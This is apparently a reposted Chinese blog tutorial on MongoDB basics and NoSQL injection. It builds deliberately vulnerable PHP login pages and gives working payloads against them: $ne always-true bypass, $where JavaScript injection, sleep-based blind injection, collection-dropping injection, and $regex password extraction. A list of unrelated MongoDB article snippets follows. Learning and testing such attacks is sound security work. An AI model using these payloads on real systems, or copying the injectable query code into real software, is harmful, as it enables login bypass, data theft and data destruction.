MONGODB 的基础 NOSQL注入基础

首先来学习一下nosql

这里安装就不进行介绍 只记录一下让自己了解mongodb

ubuntu 安装后 进入 /usr/bin  

./mongodb

即可进入

然后可通过 进入的url链接数据库

基本操作

show db

show dbs

show tables

use  数据库名

插入数据

db.admin.insert({json格式的数据})

例如 

db.admin.insert({'id':1,'name':admin,'passwd':admin123})

或者通过定义的方法

canshu={'id':1,'passwd':admin123}

db.admin.insert(canshu)

删除

db.admin.remove()

更新

db.admin.update({'name':'admin'},{$set{'id':1}})

前面是条件 后面是更新的内容

然后我们现在需要来查看 nosql的符号

条件操作符

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2,"$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

解释

$gt	大于
$lte	小于等于
$in	包含
$nin	不包含
$lt	小于
$gte	大于等于
$ne	不等于
$eq	等于
$and	与
$nor	$nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档
$not	反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
$or

 知道这五个其实就OK了

SQL注入

因为这里传入的都是json格式的文件

所以首先我们来搭建一个查询网站

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb"); //修改url
$username = $_POST['username'];  //修改集合字段
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(['name' => $username,'password' => $password]);
$result = $manager->executeQuery('test.admin',$query)->toArray();

$count = count($result);
$queryString = json_encode($result);
echo '查询结果: ' . $queryString . '<br>';

if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo $user;
        echo '====Login Success====<br>';
        echo 'username: ' . $user['name'] . '<br>';  //修改集合字段
        echo 'password: ' . $user['password'] . '<br>';
    }
} else {
    echo 'Login Failed';
}

 测试后是ok的 那么这里我们如何注入呢

我们首先要知道传入的语句是什么呢

'name' => $username,'password' => $password

 其实是这个

我们构思一下 如果我们传入一个

永真注入

username[$ne]=1&password[$ne]=1

[$ne] 为 != 


那么这里传入的语句是什么呢


'name' => array('$ne'=> 1),'password' => array('$ne'=>1)

mongodb 的查询语句 就变为了 

db.admin.find({'username':{$ne:1},'password':{$ne:1}})

只要username和password !=0 就都查询出来  

 

这里其实是PHP特性导致的

value = 1 

传入的参数就是 1

value[$ne]

传入的参数就是 array([$ne]=>1)

 联合注入  (过时)

这里其实也是设计者的错误

我们将 查询语句

name => $username,password => $passwd

修改为

"{ username: '" + $username + "',password: '" + $password + "' }"

变成拼接模式

 当我们正常输入的时候

{username : admin,password: admin123}

查询语句就是

db.admin.find({username : 'admin',password: 'admin123'})

但是我们如果不正常查询呢

我们传入
username = admin',$or: [ {},{'a': 'a
password = ' }]

最后获取到的数据是什么呢


db.admin.find({ name: 'admin',{'a':'a',password: '' }]})

实现了查询注入

但是这个方法现在可能都无法使用 ,现在的开发都必须要传入一个数组或者Qurey对象

JavaScript注入

mongodb支持JavaScript的脚本辅助

这里要提及mongodb的关键词 $where

$where关键词

在MONGODB中 支持使用 $where关键词进行javascrip执行

db.admin.find({ $where: "function(){return(this.name == 'admin')}" })

这是一个简单的利用 执行函数返回用户名的数据

 但是在例如直接传参的时候 就会造成注入


db.admin.find({ $where: "function(){return(this.name == $userData" })


db.admin.find({ $where: "function(){return(this.name =='a'; sleep(5000))}" })

 这里就可以查询到不该查询的内容 和 盲注

我们也测试一下

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "function() {
    var name = '".$username."';
    var password = '".$password."';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}";

$query = new MongoDB\Driver\Query(['$where' => $function]);
$result = $manager->executeQuery('test.admin',$query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo '====Login Success====<br>';
        echo 'username: '.$user['name']."<br>";
        echo 'password: '.$user['password']."<br>";
    }
} else {
    echo 'Login Failed';
}
?>

 我们正常传输入

java脚本是

function() {
    var name = 'admin';
    var password = 'admin123';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}


然后进入数据库

db.admin.find({$where:function() {
    var name = 'admin';
    var password = 'admin123';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
  }
})

那么这里我们使用注入呢

我们构造万能钥匙

username=1&password=1';return true;var a='1
username=1&password=1';return true//
进入javascrip为

$function = "function() {
    var name = '1';
    var password = '1';return true;var a='1';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}";

美化后
$function = "function() {
    var name = '1';
    var password = '1';
    return true;
    var a='1';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}";

这里可以发现 直接return ture 所以绕过了下面的判断

 

comment方法造成注入

这里的内容其实是被php官方制止的 因为很容易造成漏洞

但是如果工作量很大 难免有人选择

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];

$filter = ['name' => $username];
$query = new MongoDB\Driver\Query($filter);

$result = $manager->executeQuery('test.admin',$query)->toArray();
$count = count($result);

if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo '====Login Success====<br>';
        echo 'username: ' . $user['name'] . '<br>';
        echo 'password: ' . $user['password'] . '<br>';
    }
} else {
    echo 'Login Failed';
}
?>

 这个时候 其实我们就已经是shell的权限了 我们可以开始操作数据库

但是本地是最新的mongodb

所以出现报错


Fatal error: Uncaught MongoDB\Driver\Exception\CommandException: no such command: 'eval' in C:\Users\Administrator\Desktop\CTFcode\dir.php:9 Stack trace: #0 C:\Users\Administrator\Desktop\CTFcode\dir.php(9): MongoDB\Driver\Manager->executeCommand('admin',Object(MongoDB\Driver\Command)) #1 {main} thrown in C:\Users\Administrator\Desktop\CTFcode\dir.php on line 9

但是我们看payload其实就ok了

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

 我们发现其实就是通过闭合 然后就可以执行命令了

布尔注入

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query([
    'name' => $username,'password' => $password
]);

$result = $manager->executeQuery('test.admin',$query)->toArray();
$count = count($result);

if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo '==== Login Success ====<br>';
        echo 'Username: ' . $user['name'] . '<br>';
        echo 'Password: ' . $user['password'] . '<br>';
    }
} else {
    echo 'Login Failed';
}
?>

首先我们在已知账号的情况下可以

password[$regex]=.{6}

 通过正则匹配来获取

具体传入内容是

{
    'name':'admin','password':array([$regex]=>'.{6}')

}

这里是匹配任意6个字符

进入数据库后是 

db.admin.find({'name':'admin','password':{$regex:'.{6}'}})

 

 发现实现了访问

发现超过了就没有回显了 所以这里可以拿来测试密码长度

我们要获取数字 其实就可以通过正则表达式来

db.admin.find({'name':'admin','password':{$regex:'^a'}})

db.admin.find({'name':'admin','password':{$regex:'^ad'}})

 

这里 基本的nosql注入 就实现了

原文地址:https://blog.csdn.net/m0_64180167/article/details/134548592

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


文章浏览阅读552次。com.mongodb.MongoQueryException: Query failed with error code 292 and error message 'Executor error during find command :: caused by :: Sort exceeded memory limit of 104857600 bytes, but did not opt in to external sorting.' on server 11.51.141.63:27017 _mongodb 大文件 下载失败
文章浏览阅读635次,点赞9次,收藏8次。MongoDB 是一种 NoSQL 数据库,它将每个数据存储为一个文档,这里的文档类似于 JSON/BSON 对象,具体数据结构由键值(key/value)对组成。
文章浏览阅读2.1k次。和。_mongodb 日期类型
文章浏览阅读1.7k次。Scalestack等客户期待使用MongoDB Atlas Vector Search和Amazon Bedrock构建下一代应用程序
文章浏览阅读970次。SpringBoot整合中间件mongodb、ES_springboot3 elasticsearch json数据
文章浏览阅读673次。MongoDB 简介_尚医通sql
文章浏览阅读1k次,点赞8次,收藏9次。官网下载MongoDB安装包后进行解压(因了解并不深入,故暂不进行详细说明,自行查找其他安装方法,后期了解深入后将进行该教程的完善)在bin目录下使用命令启动:./mongod --config …/mongodb.conf。该文章任然处于完善中,如果存在错误遗漏的地方,欢迎私信联系。安装相关的nuget包后即可通过以下方法连接数据。YX9010_0@的第二十篇文章。
文章浏览阅读1.2k次,点赞17次,收藏26次。社交场景, 使用 MongoDB 存储存储用户信息, 以及用户发表的朋友圈信息, 通过地理位置索引实现附近的人, 地点等功能.游戏场景, 使用 MongoDB 存储游戏用户信息, 用户的装备, 积分等直接以内嵌文档的形式存储, 方便查询, 高效率存储和访问.物流场景, 使用 MongoDB 存储订单信息, 订单状态在运送过程中会不断更新, 以 MongoDB 内嵌数组的形式来存储, 一次查询就能将订单所有的变更读取出来.物联网场景, 使用 MongoDB 存储所有接入的智能设备信息, 以及设备汇报的日
文章浏览阅读686次。您可以使用 update_one() 方法来更新 MongoDB 中调用的记录或文档。update_one() 方法的第一个参数是 query 对象,用于定义要更新的文档。注释:如果查询找到多个记录,则仅更新第一个匹配项。第二个参数是定义文档新值的对象。_python 更新 mongodb 数据
文章浏览阅读1.3k次。首先来学习一下nosql这里安装就不进行介绍 只记录一下让自己了解mongodb。_nosql注入
文章浏览阅读4.1k次,点赞8次,收藏7次。在data的目录下,创建一个db文件。因为启动MongoDB服务之前必须创建数据库文件的存放文件夹,否则命令不会自动创建,而且不能启动成功。第一步:安装时,Custom是指可以自定义安装路径,然后傻瓜式安装即可(注意:先不要安装图形化工具,否则安装时间会特别长):如果要想连接成功,必须要开服务,即mongod -dbpath C:MongoDBdatadb的cmd要一直开着。然后回车,ctrl+F输入port找到端口号,一般为:27017。打开命令行,然后找到bin文件地址,并输入。_mongodb windows安装
文章浏览阅读5.1k次,点赞3次,收藏43次。详细介绍MongoDB数据库的基本知识,安装方法,基本操作,_mongodb数据库
文章浏览阅读3.2k次。安装教程翻看以往文章。_navicat 连接mongodb
文章浏览阅读426次,点赞9次,收藏12次。win10开放端口:https://blog.csdn.net/m0_43605481/article/details/119255256。我的是阿里云服务器,所以直接在安全组中加入规则,端口范围:27017,授权对象:0.0.0.0。windows在mongodb安装文件夹的bin文件夹中的mongod.cfg。数据库名字是test,打算创建一个用户,账号aaa,密码bbb,权限readWrite。因为该用户是创建在test数据库的,所以在最后要加上test。O了,然后恢复了test的数据。
文章浏览阅读1.1k次。聚合操作主要用于处理数据并返回计算结果。聚合操作将来自多个文档的值组合在一起,按条件分组后,再进行一系列操作(如求和、平均值、最大值、最小值)以返回单个结果。MongoDB的聚合查询​聚合是MongoDB的高级查询语言,它允许我们通过转化合并由多个文档的数据来生成新的在单个文档里不存在的文档信息。MongoDB中聚合(aggregate)主要用于处理数据(例如分组统计平均值、求和、最大值等),并返回计算后的数据结果,有点类似sql语句中的count(*)、groupby。..._如何将几个db的数据统整在一起做查询
文章浏览阅读680次,点赞7次,收藏8次。(2)application.properties配置文件。(4)UserService类。(5)测试和测试结果。
文章浏览阅读1k次,点赞17次,收藏25次。Studio 3T 2023.9 (macOS, Linux, Windows) - MongoDB 的专业 GUI、IDE 和 客户端,支持自然语言查询_mongodb客户端
文章浏览阅读1.1k次,点赞32次,收藏27次。插件式的存储引擎架构可以实现 Server 层和存储引擎层的解耦,可以支持多种存储引擎,如 MySQL 既可以支持 B-Tree 结构的 InnoDB 存储引擎,还可以支持 LSM 结构的 RocksDB 存储引擎。MongoDB 中的记录就是一个 BSON 文档,它是由键值对组成的数据结构,类似于 JSON 对象,是 MongoDB 中的基本数据单元。的简称,是 JSON 文档的二进制表示,支持将文档和数组嵌入到其他文档和数组中,还包含允许表示不属于 JSON 规范的数据类型的扩展。
文章浏览阅读5.1k次,点赞6次,收藏96次。本文设计了一种基于智能室内温度控制的自动调速风扇。以STM32系列单片机为核心主控板,通过程序代码驱动和使用温度传感器模块实现对环境温度的实时监测,并可以实时显示环境温度。同时,可以设置温度检测的上下警告值,根据需求自行调节。_stm32 温控风扇
文章浏览阅读898次,点赞13次,收藏21次。在MongoDB中,我们使用find()和find_one()方法来在集合中查找数据,就像在MySQL数据库中使用SELECT语句来在表中查找数据一样。_pymongo find_one